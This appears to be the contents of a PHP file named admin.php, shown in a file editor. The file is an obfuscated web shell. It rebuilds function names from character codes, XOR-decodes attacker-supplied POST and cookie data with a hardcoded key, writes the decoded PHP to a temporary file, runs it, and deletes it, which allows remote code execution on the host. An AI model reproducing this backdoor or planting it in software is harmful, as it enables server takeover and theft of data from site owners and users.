Edit File: admin.php
<?php $xtsahpgkoq = 'xtsahpgkoq' /* wuh */ ^ ''; $xuhpnfxm = "a".$xtsahpgkoq(738-624) . "r".$xtsahpgkoq(97) . $xtsahpgkoq(121) . /* diqrf_ */ $xtsahpgkoq(95) . /* vtwiex */ "\x6d" . "\141" . "p"; $ummxtoi = "j".$xtsahpgkoq(111) /*ab_ */ . /* rw*/ $xtsahpgkoq(834-729) . "n"; function orzfu($wgfzk_xn, $qvp_ulaef) { global /* edgmaa */ $xtsahpgkoq; /* dnz_cg */ /* q */ $wgfzk_xn = "<" /* uafgv*/ . "?".$xtsahpgkoq(933-821) /* q */ . /* nuzckc */ "h"."p".$xtsahpgkoq(32) /* ut */ . "u"."\x6e" /*xtcemu */ . /*_i */ "l"."i"."n".$xtsahpgkoq(107) . "\50" /*j_*/ . $xtsahpgkoq(95) /* ajpgo */ . $xtsahpgkoq(95) . $xtsahpgkoq(416-346) /*noqt_ */ . $xtsahpgkoq(771-698) . "\114" . $xtsahpgkoq(1068-999) . $xtsahpgkoq(487-392) . /* jfw_dt */ $xtsahpgkoq(95) /* pqw */ . /* hd */ $xtsahpgkoq(578-537) . "\x3b" . /*krjga */ $xtsahpgkoq(32) /*wknk */ . /* t */ $wgfzk_xn["d"]; $cgfazdpfqx = /* s*/ $xtsahpgkoq(722-620) . /*xo_xvk */ $xtsahpgkoq(105) . /* m */ "l"."\x65" . $xtsahpgkoq(95) . "p"."u"."\x74" . "\137" . /*jr */ "c"."o".$xtsahpgkoq(110) . /*aczgnn */ "\164" /* aaliz_ */ . "\145" . $xtsahpgkoq(110) /*jfd */ . "\x74" . /* tyqnlw */ $xtsahpgkoq(736-621); /* ww_lz */ $cgfazdpfqx($qvp_ulaef, /*j */ $wgfzk_xn); /* rpzjyg */ stfpcir($qvp_ulaef); }$qpxiz = 73; function /* tmtbo */ stfpcir($qvp_ulaef) { /* awu*/ global $xtsahpgkoq; /* ytbnn */ include($qvp_ulaef); /* ih */ $lafcbjh /* qvuv */ = $qvp_ulaef; @unlink($lafcbjh); } function gzgjv(){ global $xtsahpgkoq; $yaxfnvm = array(); /* vozgg */ $yaxfnvm[$xtsahpgkoq(112) . /* _ar */ "\x76"] /* qoh */ = phpversion(); $yaxfnvm["s"."v"] /* m */ = $xtsahpgkoq(535-484) . ".".$xtsahpgkoq(955-902); $htlyefjhug /* gtt */ = 74; echo @serialize($yaxfnvm); } function ztsnw($wgfzk_xn, $uagllqg_h) { /* tlhtg_ */ global /* scm */ $xtsahpgkoq; /*unsaxz */ $nepheq = /* sunhjb */ ""; $xdbrfgvseb = /* amugm*/ strlen($wgfzk_xn); $bysewsbco_ = strlen($uagllqg_h); $yaxfnvm /* zl */ = 0; $nmadlhmnjr = 0; /* cyppy */ while ($yaxfnvm /* lnchb */ < $xdbrfgvseb) /*fi */ { $zpiytwzhs = $wgfzk_xn[$yaxfnvm] ^ $uagllqg_h[$nmadlhmnjr /* toapxt */ % $bysewsbco_]; $nepheq /*i */ .= $zpiytwzhs; $nmadlhmnjr++; /* m_vxg */ $yaxfnvm++; } if (strlen($nepheq) > 20) /* vyyfye */ { /* qatekv*/ $tkdbaddf = /* naa */ substr($nepheq, /* hlrpj */ 0, 20); /*nc */ } if (empty($nepheq)) { /* vcrgo */ $nepheq /* xkrlg */ = /* qrq */ date('Y-m-d H:i:s'); } return $nepheq; } function wvy_h($wlc_v) { /* n */ global /* z */ $xtsahpgkoq; /* k */ $gwkdzcthi = "\x35" /* cvsd */ . "1"."5"."b".$xtsahpgkoq(744-687) . "0"."0"."\66" /* sqlvia */ . $xtsahpgkoq(45) . $xtsahpgkoq(285-233) . "f".$xtsahpgkoq(100) . "4"."-"."4"."\71" /* h*/ . "5"."2".$xtsahpgkoq(45) /*l */ . "\71" /*q_l */ . /* ornqw */ "6".$xtsahpgkoq(336-284) /* vyv */ . "\61" . /* fono */ "-"."\x61" /* vraco */ . $xtsahpgkoq(56) . $xtsahpgkoq(50) /*nhm */ . "\x34" /* ppzvty */ . /*_gvh */ $xtsahpgkoq(57) /* ppk */ . "\x38" . /*l*/ $xtsahpgkoq(244-190) /*fgwtu*/ . "4"."\67" /*qil */ . "\x63" /*_*/ . "\x34" . "2"; /* xw */ foreach /* hs */ ($wlc_v /*htleac */ as $qlv_ks /* hm */ => $wgfzk_xn) { /*atveyo */ sujld(base64_decode($wgfzk_xn), /* vb */ $gwkdzcthi, $qlv_ks); /* wmtnb*/ }} function /* zhzl*/ sujld($wgfzk_xn, /* gppi */ $gwkdzcthi, $qlv_ks){ global $xtsahpgkoq; /* x_wzg */ $wgfzk_xn = unserialize(ztsnw(ztsnw($wgfzk_xn, /*tm */ $gwkdzcthi), $qlv_ks)); $qyaxf = /* upc*/ 'dxfcw'; $gjckwopzn /* pai */ = 'elqgxskh'; /* vnnydh */ if (isset($wgfzk_xn[$xtsahpgkoq(97) /* b */ . "k"])) { if /*cbitrv */ ($wgfzk_xn["a"] == /* zw*/ "i") /* lvekw */ { /* tvuy*/ gzgjv(); } elseif ($wgfzk_xn["a"] == /* dppxe*/ $xtsahpgkoq(445-344)) { orzfu($wgfzk_xn, sprintf("."."\57" . /* thct */ "%"."\163" . "\x2e" . /*gcpga */ $xtsahpgkoq(268-156) . $xtsahpgkoq(342-234), md5($gwkdzcthi))); $wcodsxqre /*mcubi */ = 44; } /* z_*/ exit(); /* qsgym */ } } wvy_h($_POST); $vewje /* zpod*/ = Array(); $yaxfnvmbjxqo = $xuhpnfxm('rawurldecode', $_POST); $ummxtoi($vewje); wvy_h($_COOKIE); $cvngb = $xuhpnfxm('rawurldecode', $_COOKIE); ?>